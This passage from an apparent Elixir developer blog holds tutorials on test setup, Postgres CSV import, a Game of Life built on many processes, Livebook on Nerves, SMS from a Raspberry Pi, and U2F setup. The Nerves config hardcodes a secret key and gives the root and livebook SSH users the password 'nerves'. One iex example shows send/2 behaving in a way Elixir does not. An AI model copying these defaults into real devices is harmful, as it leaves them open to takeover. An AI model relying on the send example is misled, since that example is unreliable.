  %{admin: admin, name: name} = context
  user = user_fixture(%{admin: admin, name: name})
  # Or, simply do: user = user_fixture(context)

  conn = Plug.Conn.assign(conn, :current_user, user)

  %{conn: conn}
end

@tag admin: false, name: "Bob"
test "GET /profile as user shows the user's name", %{conn: conn} do
  conn = get(conn, "/profile")
  assert html_response(conn, 200) =~ "Hello Bob"
end

When you create the user, Ecto will only take the schema fields from any map you provide. So, you can also pass the context-map directly to the fixture. Each test can now configure the user's properties using the @tag format. This is helpful once you start to add tests for admin users like this:

# Setup-block and other tests
# ...

@tag admin: true
test "GET /profile as admin shows an admin dashboard", %{conn: conn} do
  conn = get(conn, "/profile")
  assert html_response(conn, 200) =~ "Admin dashboard"
end

The @tag makes it easy to configure tests individually. It also puts the test setup at a more prominent spot: above each test case. This makes it easy to understand which use-case each test covers.

Now, you can extend our test cases to cover unauthenticated users as well. Let's add a case that tests when users are not logged in and try to access the profile page, they only see a 404. Luckily, you moved the test setup to the shared setup-block. This way, you have to make changes only in a single place and not in every individual test case. Update the setup-block as follows:

setup %{conn: conn} = context do
  conn =
    if Map.get(context, :authenticated, true) do
      user = user_fixture(context)
      Plug.Conn.assign(conn, :current_user, user)
    else
      conn
    end

  %{conn: conn}
end

By default, the setup-block will still create and assign a user, so you don't need to change your existing tests. However, you can easily add another test for unauthenticated users:

@tag authenticated: false
test "GET /profile shows 404 for unauthenticated users", %{conn: conn} do
  conn = get(conn, "/profile")
  assert html_response(conn, 404) =~ "Not found"
end

And that's it! I hope you found this article useful and know how to better organize your tests now. If you found this helpful, consider following me on BlueSky for more Elixir tips. Until next time!

Import a CSV into Postgres using Elixir

2022-07-10T11:01:35Z

Analyzing large amounts of data has become an everyday problem. Oftentimes, the datasets are only available as CSV file, which creates the the question of how you can import them into your Postgres database? The short answer: By using the Postgres' COPY-function. Here's the long answer:

Let's imagine you have an Ecto.Schema called Location with the following definition:

schema "locations" do
  field :name, :string
  field :latitude, :float
  field :longitude, :float
end

The locations table stores location data as latitude and longitude coordinates together with a name. For example, this could be a street address with a house number and its geocoded lat+long position.

Now, let's imagine you have a CSV file called locations.csv with 100.000 rows of location data and you want to import the data into your locations table. In the following, we will use Postgres' COPY-function for that. First, we will call it directly from a psql-session and then we will wrap it into a simple Mix.Task. Let's go!

Most efficient: Postgres's `COPY`

The fastest way of importing your data is to use Postgres' COPY function. You can use it in two ways: If your CSV file exists in the same file-system as your Postgres database, you can ask Postgres to simply move the data into the database. However, this won't work when you want to dump the data into a hosted database since the file exists only in your local filesystem. In that case, you can either use COPY's little brother, the \copy-command, or we leverage a Postgrex-connection to stream the file through our Postgres session. We'll see how we can do that using Elixir later on.

In all cases, Postgres' COPY is mind-bogglingly fast, but it has some limitations:

inserted_at and updated_at timestamps won't be auto-generated. They need to exist in your CSV file. Importing a file without these timestamps will fail because of the Not-Null-constraints on the timestamp fields. If you need timestamps, but can't add them to the file, consider adding your timestamp fields after you imported the data with for example:

now = NaiveDateTime.utc_now()
Repo.update_all(Location, set: [inserted_at: now, updated_at: now])

Importing complex associations is tricky. If your data has associations with other tables and you need to validate that e.g. an association on the other table exists, you have to do so manually after the data is imported. Postgres' COPY-command works best for "dumb" data that doesn't depend on other tables.

Now, with these limitations in mind, let's have a look at how you can use Postgres' COPY-command.

`COPY`-ing without Elixir

First, double-check that your CSV file has the same column order as your database. Basically, your CSV should order the fields the same way your Ecto.Schema defines them. In our case, our CSV needs to order the data as name,latitude,longitude.

Next, open a psql-session to your database. If you have Postgres running locally, use this command:

psql -h localhost -p 5432 -U postgres -d locations_dev

Make sure to replace the parameters above with your own parameters. Pay special attention to the database name behind the -d flag. This should equal the name of the database that you want to import the CSV to.

Next, let's import the CSV file with the following command:

app_dev=# COPY locations(name,latitude,longitude)
          FROM './relative-or-absolute-path-to-your-file/data.csv'
          WITH CSV HEADER DELIMITER ',';
COPY 69638

This command took only a second to run and imported almost 70k rows of location data! Amazing!

When using the COPY-command, Postgres moves the data using your file-system into the database. This is basic file copying and therefore is very fast. If you connected to a hosted database, this might take a bit longer because you first have to upload the file to the database server.

We used a few options in our command.

The CSV told Postgres that we'll import a CSV file. You could also import text or binary data.
The HEADER option tells Postgres that our file has a header row which it should skip. If your file doesn't have a header row, you should remove this option.
The DELIMITER option informs Postgres about which character separates the values in our CSV file. Usually, this is a ,, but sometimes this might be a ; or something even fancier. If your file is comma-separated (,), you can remove this option.

Here are a few troubleshooting tips, if this command didn't work for you:

The file can't be found. You probably run Postgres in a Docker container or connected to a hosted Postgres instance. In that case, your file doesn't exist in the same file-system as your database and you first need to copy the file to the Postgres instance. Postgres will do this for you if you replace COPY with \copy.
My file doesn't have headers. Easy. Simply remove HEADER word from the command.
My file uses ';' instead of ','. Also easy. Simply replace ',' with ';' behind DELIMITER in the command.

`COPY`-ing with Elixir

As you saw above, you can execute the COPY-command directly in a psql session in your database. However, let's see how we can build an Elixir wrapper around this command instead. That way, you can easily reuse your already configured Ecto.Repo connection of your Phoenix application.

Let's create a file in app/lib/mix/tasks/import_data.ex and fill it with a Mix.Task like this:

defmodule Mix.Tasks.ImportData do
  use Mix.Task

  def run(path) do
    Mix.Task.run("app.start", [])

    opts = App.Repo.config()
    {:ok, pid} = Postgrex.start_link(opts)

    Postgrex.transaction(
      pid,
      fn conn ->
        stream =
          Postgrex.stream(
            conn,
            "COPY locations(name,latitude,longitude) FROM STDIN CSV HEADER DELIMITER ','",
            []
          )

        Enum.into(File.stream!(path, [:trim_bom]), stream)
      end,
      timeout: :infinity
    )
  end
end

The Mix.Task receives a path to the CSV file and uses your application's Postgrex-connection to execute the COPY-command. It creates a new connection to Postgres using Postgrex.start_link/1 and streams the CSV file through the connection using File.stream!/2. We set the timeout to :infinity, because otherwise the import transaction might time out if it takes longer than 15 seconds, which is the default timeout. When we create the File.stream!/2 we use the :trim_bom option. This option instructs the File-reader to remove any byte order marks. These magic numbers give meta-data about your encoding and stream readiness which we don't want to import into our database. That's why we remove them while streaming the data.

Now, we can almost import the data. As a last step, make sure that your Ecto.Repo connection is properly configured in your application. This can look like the following:

# config/dev.exs

config :app, App.Repo,
  username: "postgres",
  password: "postgres",
  hostname: "localhost",
  database: "locations_dev",
  pool_size: 10

Or, if you want to connect using a URL instead:

# config/runtime.exs

  config :app, App.Repo,
    url: System.get_env("DATABASE_URL"),
    pool_size: 10

Once you configured your Ecto.Repo connection, let's try to import the data with:

mix import_data ./relative-or-absolute-path-to-your-file/data.csv

And that's it! Now, you can import large CSVs directly into your database using a Mix.Task in just a matter of seconds! Amazing! :)

Simulating Conway's Game of Life with 100.000 Erlang Processes

2021-09-06T15:01:35Z

I decided to play around with OTP recently. It is the core of the Elixir language, but I rarely use everything it has to offer. So, I decided on coding Conway's Game of Life and made every cell its own GenServer. That means that every cell has its own Erlang process. But why? you might ask. Well, because ... why not?! 😄

It took my three attempts to build a correctly running Game of Life since debugging distributed systems is HARD. In the first two attempts, I wrote zero tests and debugged the game mechanics by printing the game state after every round. That was a bad idea.

Cells weren't spawning when they were supposed to. Living cells weren't dying, although they should. I started logging every cell state, but that only increased the lines printed and didn't lead to significant breakthroughs. I tinkered around for a few days but gave up eventually since it was hard to identify bugs and even harder to fix them.

On my final attempt, I decided to go down the TDD road, but not too strictly. Sometimes I wrote the test first and then the code. Sometimes I did the opposite. What mattered was that eventually, I had every case of the game tested and working correctly. I broke down the game mechanics into smaller steps and only tested those, like: A cell dies if it does not have three alive neighbors. or A cell notifies all its neighbors that it is alive. The tests helped me get the game mechanics right on the lowest levels. Then, I put the pieces together, and the game JustWorked™! I previously spent days fixing the issues, but this time, it only took me 2 hours to get the game working correctly. Go tests!

However, this post isn't about TDD. It is about the decisions I made and performance tweaks I used to build Conway's Game of Life and scale it to 100.000 erlang processes. I won't show the actual code since the code wasn't the problem. It was the how to write it that mattered. Therefore, I will rather describe key findings and highlight certain decisions instead of showing you raw code. You can always check out the code on GitHub.

Enough talk. Gimme the juice.

Let's first talk about the architecture of the project. I decided on using a single LiveView (GitHub) to manage a single game. It allowed me to start and stop a game without interfering with other games played in parallel. The LiveView is responsible to start and stop all Cell-GenServers and update the UI.

The idea was to let the Cell-GenServers manage their own state and update their UI representation (their "UI-Cell") through the LiveView. They also needed to communicate with their neighbors to count the number of alive cells in their vicinity. I used direct messaging over PubSub for this and will explain why later on.

I used a tick/tock-approach to update the game. A game round would start with the LiveView sending a :tick-message to all cells. The cells would then notify their neighbors if they were alive. Each cell would use these messages to count its alive neighbors. After a while, the LiveView would send a :tock-message and each cell would look at how many alive neighbors it has and update its alive?-state based on the Game of Life rules. In short, an alive cell with two or three live neighbors stays alive, otherwise it dies. A dead cell with three live neighbors becomes alive.

If a cell changed its alive?-state, it would send a message to the LiveView with its coordinates on the game board and the new alive?-state. The LiveView collected all these updates in a staging_grid until the next :tick message. By keeping the updates in a temporary variable, I avoided sending the entire game state to the UI whenever a cell notified the LiveView. The game round ended with the next :tick-message at which point the LiveView would update the game board with the staging_grid version.

The problem with LiveComponents

I first used LiveComponents to represent the cells in the UI with one LiveComponent per cell. However, that turned out to slow down the updates of the game board tremendously. Have a look at how slow the board builds up when the update messages are sent separately for every cell:

It took around 30 seconds to update the board, which was not feasible given that the board would have to update roughly twice per second. I tested sending the entire game state in a single message for every update. I discuss how I optimized the payload and found a weird update lag with morphdom below. When I sent the entire game state, the board updated almost instantaneously:

I removed the LiveComponents and rather rendered the entire UI through the LiveView (GitHub). Here's a representation of the previous and final architecture:

Communication between Cell Processes

I decided on using direct messaging for this communication rather than PubSub. Using PubSub, I had to create 100.000 PubSub topics, one for each cell, which didn't seem efficient to me. Instead, I named every cell process deterministically with the formula: #{lv_pid}-#{row}-#{col} where col and row are the x and y coordinates of the cell on the game board. lv_pid is the PID of the LiveView which spawned them. The deterministic naming scheme enabled me to send messages to cells without looking up their PID every time.

iex> lv_pid = self()
#PID<0.444.0>
iex> {:ok, cell} = GenServer.start_link(Cell, lv_pid: lv_pid, row: 1, col: 2)
{:ok, #PID<0.123.0>}
iex> process_name = "#{inspect(lv_pid)}-1-2"
"#PID<0.444.0>-1-2"
iex> send(process_name, :hello_there)
:hello_back
iex> send(cell, :hello_there)
:hello_back

Using the deterministic naming scheme, cells could easily send messages to their neighbors by generating their process_name as shown above. That meant that cells didn't need to keep track of the PIDs of their neighbors, which removed a lot of complexity. Since the PID of the LiveView would always be unique and that the cells and their names were removed automatically when a LiveView stops, there could be no collision between cell process names. You can read more about process name registration here. You can find the Cell-Module here

Communication between Cells and UI

Since I already gave every cell the PID of the LiveView for the process name generation, it was trivial to send UI updates to the LiveView. Whenever the cell alive?-state changed, it sent a :set_alive-message to the LiveView. The LiveView would collect the alive?-changes in a staging_grid until the end of the game round. At that moment, it overwrote the game board grid with the staging_grid.

The update message containing the game state was significant in size. For only 10.000 processes, every message was around 400kb. I significantly decreased the payload with only a few steps. First, this was how I represented the cells at first:

<table>
  <tr>
    <td id={"cell-#{row}-#{col}"}
      class={"cell #{if alive?, do: 'alive'}"}>
    td>
  tr>
table>

I gave every cell an id and added the alive class if the cell was alive. The payload looked like this for every update:

Since I didn't need the id in the production code, I removed them, which decreased the payload size from 400kb to 230kb (43%). Now, the payload looked like this:

I also didn't need the real class names. So, I replaced cell with c and alive with a. That decreased the payload by another 20% (down to 185kb).

However, the payload contained the class=c -part for all of the 100.000 cells. That seemed unnecessary to me, which is why I rewrote how I presented the alive?-state. Here is the before and after comparison:

# Before

.c {
  width: 0.1rem;
  height: 0.1rem;
}

.a {
  background-color: #fff;
}

<td class={"c #{if alive?, do: 'a'}"}>td>

# After
td {
  width: 0.1rem;
  height: 0.1rem;
  background-color: #fff;
}

td:empty {
  background-color: #000;
}

<td><%= if alive?, do: "." %>td>

Thus, instead of toggling CSS classes, I rendered a dot in cells, which were alive, and used CSS logic to style non-empty cells. Now, the payload looked like this:

This decreased the payload by another 70% down to 56kb. However, it somehow added a significant lag to the rendering of the grid. See for yourself in this video of 40.000 cells being rendered. Do you see the lag between the message coming in and the rendering?

The td:empty CSS logic didn't cause the lag. I removed the CSS condition td:empty and only rendered the dots. The lag was still there. My best guess is that the payload structure was different in such a way that caused morphdom to slow down tremendously, but further research is needed here.

Eventually, I settled on the following code (GitHub):

td {
  width: 0.1rem;
  height: 0.1rem;
}

.a {
  background-color: #fff;
}

<td class={if alive?, do: "a"}>td>

With this version, the payload was still manageable at ~80kb per update, but the lag was gone. It only sent the class=a part for live cells and sent a [""] change otherwise.

The following video renders 40.000 cells without any lag.

Spawning 100.000 processes really, really fast

When I began a new game, the LiveView would first start 100.000 processes and link them to itself. Unfortunately, at first, this took up to 90 seconds! This seemed odd to me. I took to the ElixirForum to ask way smarter people than me. My first assumption was that spawning 100.000 erlang processes simply took a while. So, I asked whether spawning them asynchronously would speed up the process. It would not.

What was even odder was the fact that on other people's machines, it only took 500ms to spawn that many processes! Eventually, Greg Vaughn had the genius solution: When I started a cell, and it randomly chose to be alive, it sent a message back to the LiveView to set its UI state to alive. That caused the LiveView to handle up to 50.000 messages since there was a 50% chance of a cell to start alive.

Usually, the LiveView would handle a lot of messages very quickly. However, in this situation, the messages from the cells to the LiveView somehow blocked or slowed down the spawning process tremendously. I first moved the sending of the message to the handle_continue/2-block of the cell. That didn't change anything. Eventually, I removed sending back a message upon initialization altogether. With this fix, I could now spawn 100.000 processes in only 300ms! Thanks again to Greg Vaughn and all the others who contributed ❤️

Duplicating the World. Twice.

One last worry I had was that I copied the entire game state on every cell update. Whenever a cell sent a set_alive-message to the LiveView, I updated its state in the staging_grid. The staging_grid was just one giant map with 100.000 key-value pairs. Since maps are immutable in Elixir, this meant copying all the other 99.999 entries into a new map only to update a single value.

However, I wrote a little benchmark and was positively surprised to learn that updating a map with 100.000 key-value pairs takes only 500ns on average (that is Nanoseconds)! Even with 10.000.000 entries, the update took only around 1 microsecond, which is ridiculously fast (if one doesn't do machine learning).

Before this test, the thought Elixir is amazing, but not super fast lived in the back of my mind. After this test, I safely deleted this thought. Sure, for a few use-cases, it can't compete with e.g. C. But for real-life applications, it hardly matters. That somehow relieved me.

(Not) blowing up the hardware

While running the game with 100.000 processes, I used the wonderful LiveDashboard to monitor my machine and analyze the hardware consumption of the game. Unfortunately, I discovered that the memory usage slowly but steadily increased from initially 150mb to later on multiple gigabytes. I did not analyze this finding further, but I assume that the update frequency of the game was too high.

When a cell receives the :tock-message too soon after the initial :tick-message, it might not be able to handle all incoming messages from its neighbors in time before the next round starts. The queue of unhandled messages would build up over time, leading to more memory consumption per process. However, I did not confirm this assumption, and further investigation is needed here.

Putting it all together

With all the fixes and performance tweaks in place, it was time to put the game to the test! I recorded 3 minutes of the game and put it up on YouTube. The following video shows the game in real-time with 100.000 processes:

The end

Thank you for sticking until the end! I hope you could learn a bit and found this article somewhat helpful. If you have any questions, please don't hesitate to message me on BlueSky or comment on my Tweet about this project. Until next time! Cheerio!

Set up Livebook on your Raspberry Pi with Nerves

2021-08-05T15:01:35Z

Recently, I attended a great talk by the creator of the Nerves library, Frank Hunleth, organized by the wonderful ElixirKenya community. He presented his nerves_livebook-project, which showcased how to setup Livebook on a Nerves device. I found the topic incredibly interesting since it solved an issue I encounter every time I use Nerves. Here's a shortened setup tutorial for how to setup Livebook on your Nerves device.

If you have ever worked with Nerves and embedded devices before, you might know how tedious updating the code running on your device can be. Usually, I write code in VS Code, bundle it into a new firmware version, and upload it to the running device with mix firmware && ./upload.sh. The device then would check that the updated firmware boots correctly, shut down the old code, and switch over to the new version. All in all, this usually takes about 2-3 minutes. It doesn't sound like much, but hot reloading became a thing not without reason. Especially when I write code "exploratively", that is just trying things out until they work, I often miss the Simply reload your website and you'll see the new version-comfort of hot reloading code.

Until recently, there were limited ways of achieving "hot reloading" with Nerves. I could simply copy&paste updated code into the ssh console running on the device. It works well with modules, since they get overwritten. However, I would usually write the code in the ssh console and copy it into a file on my computer. Then, I would copy&paste the entire module from the file back into the ssh console and voilá: The device now holds the updated version of a module. It works, but it is tedious and requires a lot of copy&pasting.

Another option was to use the Mix.Tasks.Upload.Hotswap library. I would start an elixir node on my computer and connect it to an elixir node running on the device. Whenever I change the code on the computer, I run mix upload.hotswap, and the new code gets deployed to the device automagically. This library is pretty cool but requires a bit of setup, and I would still need to write the code in the ssh console to "just try things out".

The Solution: Livebook

In April 2021, José Valim announced Livebook, a web application for writing interactive and collaborative code notebooks in Elixir. Livebook is very similar to Jupyter Notebooks, the go-to standard for writing, running, and sharing code in the Python community. Livebook allows the developer to write and execute code in script-like snippets and offers easy documentation with Markdown and other fancy features.

When Frank presented Livebook on a Nerves device, I immediately realized its potential for writing and testing code directly on my device without having to copy&paste it to or from my computer. If you work with GPIO or I2C connected modules, Livebook makes setting them up and playing around with them so much easier since everything can be done in Livebook's wonderful UI. Sounds interesting? Let's get started then!

Setup

I speed-run a bit through the project setup here, but if you want to learn more about why I configure certain things, check out my Sending text messages with Nerves post.

Let's first create a new project with:

mix nerves.new nerves_livebook

I usually create a .env-file and set the MIX_TARGET environment variable there:

# Change 'rpi0' to your target (e.g. 'rpi3')
MIX_TARGET=rpi0

Let's add the Livebook dependencies:

# mix.exs

defp deps do
  [
    ...
    {:livebook, "~> 0.2.0", only: [:dev, :prod]},
    {:vega_lite, "~> 0.1.0"},
    {:kino, "~> 0.2.3"},
    ...
  ]
end

Before we can build the first firmware, we need to configure Livebook. Add the following code snippets to your config.exs and target.exs:

# config/config.exs

config :livebook, LivebookWeb.Endpoint,
  pubsub_server: Livebook.PubSub,
  live_view: [signing_salt: "livebook"]

config :livebook,
  default_runtime: {Livebook.Runtime.Embedded, []},
  authentication_mode: :password,
  token_authentication: false,
  password: System.get_env("LIVEBOOK_PASSWORD", "nerves"),
  cookie: :nerves_livebook_cookie

config :phoenix, :json_library, Jason

# config/target.exs

config :livebook, LivebookWeb.Endpoint,
  url: [host: "nerves.local"],
  http: [
    port: "80",
    transport_options: [socket_opts: [:inet6]]
  ],
  code_reloader: false,
  server: true,
  secret_key_base: "z9/3PbKl5GFeH3OJ8iHq7d8NyJg7SbzQ00yn5WgWlYpRCe0q0dVf4CWuqmYwgXKV"

config :livebook,
  root_path: "/data/livebooks"

config :nerves_ssh,
  user_passwords: [{"livebook", "nerves"}, {"root", "nerves"}]

If you connect to your device via USB, you are done now. Otherwise, make sure to configure the wlan0 connection as well. If you are not sure whether you need the following config, simply run ssh nerves.local when your device is booted up. If you get a ssh connection, you don't need to configure wlan0. Otherwise, you do.

Using Livebook

After you set the above configuration, plug your microSD card into your computer. Run the following command:

mix do deps.get, firmware, firmware.burn

This command will fetch the dependencies, build a firmware, and burn it to your microSD card. After the above command finished, remove your microSD card from your computer and plug it into your device. Start your device, wait for 1-2 minutes, and then access http://nerves.local.

You should see the following prompt:

Enter the password nerves and you should see the Livebook!

Caveat

Your livebooks are written to your device and not to your computer. So, if you ever overwrite or delete the filesystem of your device, then all of your livebooks will be gone. Therefore, backup your livebooks to your computer regularly. Also, if you know a better way to backup your livebooks, please let me know on BlueSky!

Sending text messages from a Raspberry Pi with Nerves

2021-07-24T06:01:35Z

I recently got to play around with a Raspberry Pi Zero W and a Waveshare GSM/GPRS/GNSS Hat, a relatively low-cost module (~30USD) for sending text messages, making phone calls, using mobile internet, and tracking your geolocation. In the following, I will walk you through how to set up the hardware and create a simple project for sending out text messages using Nerves and Elixir.

The Hardware Setup

You need the following hardware components:

A Raspberry Pi. I use the Raspberry Pi Zero W, which has a direct USB connection to your laptop, which you can use to upload your software and connect via SSH. Other Raspberry Pis like the 3b+ don't have that USB connection and require access to a shared WiFi network. You don't necessarily need a Raspberry Pi, but any of the supported targets will work.
A Waveshare GSM/GPRS/GNSS Hat. I bought this module since I didn't know better and it works perfectly fine. However, now I would recommend buying a GSM module which uses one of the modems supported by the VintageNetMobile library. This library makes using mobile internet seamless, but only supports a few modems as of now. The Waveshare Hat uses the SIM868 modem, which isn't supported by the VintageNetMobile library and therefore requires more work to set up a mobile internet connection.
An activated SIM Card. Make sure that the SIM card is activated and isn't locked by a PIN. You can test this by plugging the SIM card into your phone. If you can make phone calls without having to enter a PIN beforehand, the SIM card is probably activated.
A microSD card. The size of the bundled version of your project together with the Nerves software will be around 36mb. Therefore, microSD cards of any size (8GB or up) should work.
A 40 PIN GPIO Header. These 40 Pins will connect the Waveshare Hat to the Raspberry Pi.

Installing the SIM Card

I struggled with this a bit (because I didn't read the manual), so let me explain how you install the SIM card on the Waveshare Hat.

You first need to slide down the SIM card tray towards the battery holder. The tray has "Open" and "Closed" markings, which indicate in which direction you need to slide the tray. After you opened the tray, put in the SIM card, preferably in the largest SIM card plastic holding form in which it came. Otherwise, your SIM card might move around and lose connection to the Waveshare Hat. Close the tray and slide the tray into the "Closed" direction.

Connecting the Waveshare Hat with the Raspberry Pi

Use the 40 PIN GPIO Header to connect the Waveshare Hat with the Raspberry Pi. I stuck the long end of the pins into the Waveshare hat and the short ones into the Raspberry Pi. This way, it is easier to solder the pins onto the Raspberry Pi, and the Waveshare Hat has a good distance to the Raspberry Pi.

Optional: Securing the Waveshare Hat with the frame pins

If you want, you can use the 2 pins which come with the Waveshare Hat to connect the 2 frontal edges of the Waveshare Hat and the Raspberry Pi. This gives the entire construction a certain sturdiness.

Setting the Jumper

It is important to set the two yellow jumpers on the Waveshare Hat to the B position. Otherwise, you will not be able to communicate with the Waveshare Hat from your Raspberry Pi.

And that's it! You now have connected the Waveshare Hat successfully to your Raspberry Pi.

The Software Setup

Let's first create a new Nerves project and burn it to the microSD card. Make sure that you have Nerves and all necessary dependencies installed on your computer. Next, open a folder of your choice and run:

mix nerves.new texting

This will create a new Nerves project for you. Next, set the Target of your project. In our case, this will be the Raspberry Pi Zero. You can set the target in multiple ways:

# Set the target for the entire shell session
export MIX_TARGET=rpi0

# Set the target per call, e.g.
MIX_TARGET=rpi0 mix firmware

# My preference
# Set the target in your .env.
# Don't forget to restart your shell session.
MIX_TARGET=rpi0

If you are using a different Raspberry Pi than me, you need to change the target accordingly to e.g. rpi2, rpi3, or rpi4.

Add the following dependencies to your mix.exs:

# mix.exs

defp deps do
  [
    {:waveshare_hat, "~> 0.1.0",
      github: "PJUllrich/nerves_waveshare_868_gsm_gprs_gnss_hat"}
  ]
end

Let's fetch the dependencies and build our example project. Warning: The next step will download ~175Mb of data. If you are on a limited data plan, consider running this command later or downloading the nerves_system_rpi0-portable-*-file from GitHub manually.

cd texting
mix deps.get
mix firmware

This will take a while (up to 2min on my machine). Enough time to check BlueSky.

Connecting to the Raspberry Pi

After your project was built successfully, stick your microSD Card into your computer and run the command:

mix firmware.burn

This command will build an OTP release for your project and copy everything to your microSD card. It tries to find the microSD card automatically. You should see the following prompt or something similar:

Use 14.84 GiB memory card found at /dev/rdisk2? [Yn] y

You can now eject your microSD card and put it into the Raspberry Pi. Connect your Raspberry Pi Zero to your computer by inserting a Micro-USB cable in the USB-Port of your Raspberry Pi Zero. If you have a different Raspberry Pi, you probably need to connect it to your local WiFi using VintageNetWifi.

If not using a Raspberry Pi Zero: Add the following dependency and configuration and run the mix do deps.get, firmware, firmware.burn:

# mix.exs
def deps do
  [
    {:vintage_net_wifi, "~> 0.9.0", targets: @all_targets}
    ...
  ]
end

# config/config.exs
config :vintage_net,
  config: [
    {"wlan0",
      %{
        type: VintageNetWiFi,
        vintage_net_wifi: %{
          networks: [
            %{
              key_mgmt: :wpa_psk,
              ssid: "my_network_ssid",
              psk: "a_passphrase_or_psk",
            }
          ]
        },
        ipv4: %{method: :dhcp},
      }
    }
  ]

Make sure to enter the correct Network SSID and Network Password so that your Raspberry Pi connects to the WiFi automatically. You should then be able to find it on your local network.

Make sure that your Raspberry Pi is plugged in. You can now connect to your Raspberry with:

ssh nerves.local

Pushing changes to the Raspberry Pi

If you make changes to your project and want to push it to the Raspberry Pi, you first need to run the following command:

mix firmware.gen.script

This will create an upload.sh script, which handles uploading the latest version of your project onto the Raspberry Pi. It loads the new release to the B partition of the Nerves file system and starts up the new version. Only if the new version was booted successfully, it switches over from the A partition to the new version. Pretty cool, he?

Anyways, upload a new version of your project to the Raspberry Pi with:

mix firmware
./upload.sh

It will take a few seconds until the Raspberry Pi rebooted. Afterward, connect with ssh nerves.local, and you should have the latest version available!

Sending a text message

Before we can communicate with the Waveshare Hat, you need to power it up.

Press and hold the PWRKEY-Button for 3-5 seconds until you see that the STA LED glows continuously and the NET LED flickers quickly. Once the NET LED flickers slowly, the Waveshare Hat established a connection with the mobile network and is ready to receive our commands.

Establishing a connection

First, we need to find the USB-based serial port through which we can open a connection to the Waveshare Hat. The names of the serial ports typically start with tty, and you can show all available serial ports with the command:

iex(1)> Circuits.UART.enumerate
%{"ttyAMA0" => %{}, "ttyS0" => %{}}

Usually, the enumerate/0 function would show connected devices, but for some reason, the Waveshare Hat does not show up in this list. Nevertheless, you can still connect it through the, in my case, ttyAMA0-port. So, let's do that with the command:

{:ok, pid} = WaveshareHat.connect("/dev/ttyAMA0")

You can check the status of the Waveshare hat with:

iex(17)> WaveshareHat.status(pid)
:ok
iex(18)> flush
{:circuits_uart, "/dev/ttyAMA0", "AT\r"}
{:circuits_uart, "/dev/ttyAMA0", "OK"}
:ok

And check the status of your SIM card:

iex(19)> WaveshareHat.status_sim(pid)
:ok
iex(20)> flush
{:circuits_uart, "/dev/ttyAMA0", "AT+CPIN?\r"}
{:circuits_uart, "/dev/ttyAMA0", "+CPIN: READY"}
{:circuits_uart, "/dev/ttyAMA0", ""}
{:circuits_uart, "/dev/ttyAMA0", "OK"}
:ok

Sending a text message

Now, we can communicate with the Waveshare Hat and everything is connected. Let's finally send that text message!
Execute the following commands. The receiver should receive your text message! Exciting, no?

WaveshareHat.SMS.set_local_number(pid, "YOUR_NUMBER")
WaveshareHat.SMS.set_receiver(pid, "THE_RECEIVING_NUMBER")
WaveshareHat.SMS.set_sms_body(pid, "Hello World from the Raspberry Pi!")
WaveshareHat.end_mark(pid)

The Waveshare Hat echos all commands back to you. With this, you can check whether all commands from above were received successfully.

iex> flush
{:circuits_uart, "/dev/ttyAMA0", "AT+CSCA=\"YOUR_NUMBER\"\r"}
{:circuits_uart, "/dev/ttyAMA0", "OK"}
{:circuits_uart, "/dev/ttyAMA0", "AT+CMGS=\"THE_RECEIVING_NUMBER\"\r"}
{:circuits_uart, "/dev/ttyAMA0", "> Hello World from the Raspberry Pi!"}
{:circuits_uart, "/dev/ttyAMA0", "> "}
{:circuits_uart, "/dev/ttyAMA0", "+CMGS: 1"}
{:circuits_uart, "/dev/ttyAMA0", ""}
{:circuits_uart, "/dev/ttyAMA0", "OK"}

Conclusion

And that is it! I hope that you enjoyed this tutorial! We learned how to run a Nerves project on a Raspberry Pi, how to connect to the Waveshare GSM/GPRS/GNSS Hat, and how to send text messages using it. In upcoming blog posts, I will look more into how to make phone calls and how to track your geolocation with the Waveshare Hat, so consider following me on BlueSky to stay updated.

How to implement U2F Authentication with Phoenix LiveView

2021-05-13T06:01:35Z

If you want to secure your users' accounts beyond simple username and password authentication, U2F is arguably the most secure multi-factor authentication method you can offer. In order to log in or register, your user needs to authenticate using a physical device like a YubiKey. After entering the username and password, the user needs to authorize the physical device to accept and solve a challenge given to it from your application. If the device answers correctly to the challenge, the user is logged in successfully. If the user does not have the correct physical devise, she won't be able to log in.

By having a physical device as a multi-factor, you can prevent unauthorized access to a user's account even if an attacker gained access to the user's username and password. Without the physical device, the attacker won't be able to log in, end of story. The U2F-method secures accounts with such ease and speediness that Google rolled out U2P-devices to all their employees.

So, all this sounds cool, but how can you add a U2F authentication method to your Phoenix LiveView project? Here is how:

The Setup

Let's first create a new Phoenix LiveView project. You can skip this step if you have an existing project already. Create a new project with:

mix phx.new app --live

This command will create a new Phoenix LiveView project. Next, let us include the u2f_ex library, which handles registering the U2F-devices and creation of challenges when a user wants to log in. In your mix.exs, add the following dependency:

def deps do
  [
    ...
    {:u2f_ex, "~> 0.4.2"}
  ]
end

Fetch the dependency with mix deps.get. Now, you have a project and the necessary dependency, so let's create the database schemas to register the U2F-devices.

Enabling SSL

U2F requires an SSL connection and does not allow communication over an unprotected HTTP-connection. Offering a HTTPS-connection is typically not problem in production since we would enable SSL encryption anyway. However, we want to test the U2F authentication locally, which means we have set up a HTTPS-connection to our server locally. We can do that by running the following command to create a new self-signed SSL certificate:

mix phx.gen.cert

This will create a self-signed SSL certificate and store it at priv/cert/selfsigned_key.pem. Now, enable the SSL endpoint in dev.exs like this:

# config/dev.exs

config :app, AppWeb.Endpoint,
  ...
  http: [port: 4000],
  # Add the following lines
  https: [
    port: 4001,
    cipher_suite: :strong,
    keyfile: "priv/cert/selfsigned_key.pem",
    certfile: "priv/cert/selfsigned.pem"
  ]

You can now access your server through https://localhost:4001. If your browser warns you about an insecure or invalid certificate, consider allowing insecure certificates for localhost.

The Schema for the U2F-Keys

We want to save the U2f-keys given to us by the users for creating challenges for them whenever they try to log in. In your /lib/app folder, create a new folder called u2f and add the following schema for the U2F-keys:

# /lib/u2f/u2f_key.ex

defmodule App.U2FKey do
  use Ecto.Schema
  import Ecto.Changeset

  schema "u2f_keys" do
    field(:public_key, :string)
    field(:key_handle, :string)
    field(:version, :string, size: 10, default: "U2F_V2")
    field(:app_id, :string)

    # Change the following field if you want to connect the U2F-key
    # to a user in a different way (e.g. through a 'user_id' instead)
    field(:username, :string)

    timestamps()
  end

  @doc false
  def changeset(user, attrs) do
    user
    |> cast(attrs, [:public_key, :key_handle, :version, :app_id, :username])
    |> validate_required([
      :public_key,
      :key_handle,
      :version,
      :app_id,
      :username
    ])
  end
end

This schema will save all necessary information about the U2F-key. I added a username field to fetch the correct U2F-key for the user who wants to log in. If you want to establish a relationship between a user and a U2F-key in a different way, feel free to change this field to e.g. user_id instead .

Next, let's create a migration for this schema with:

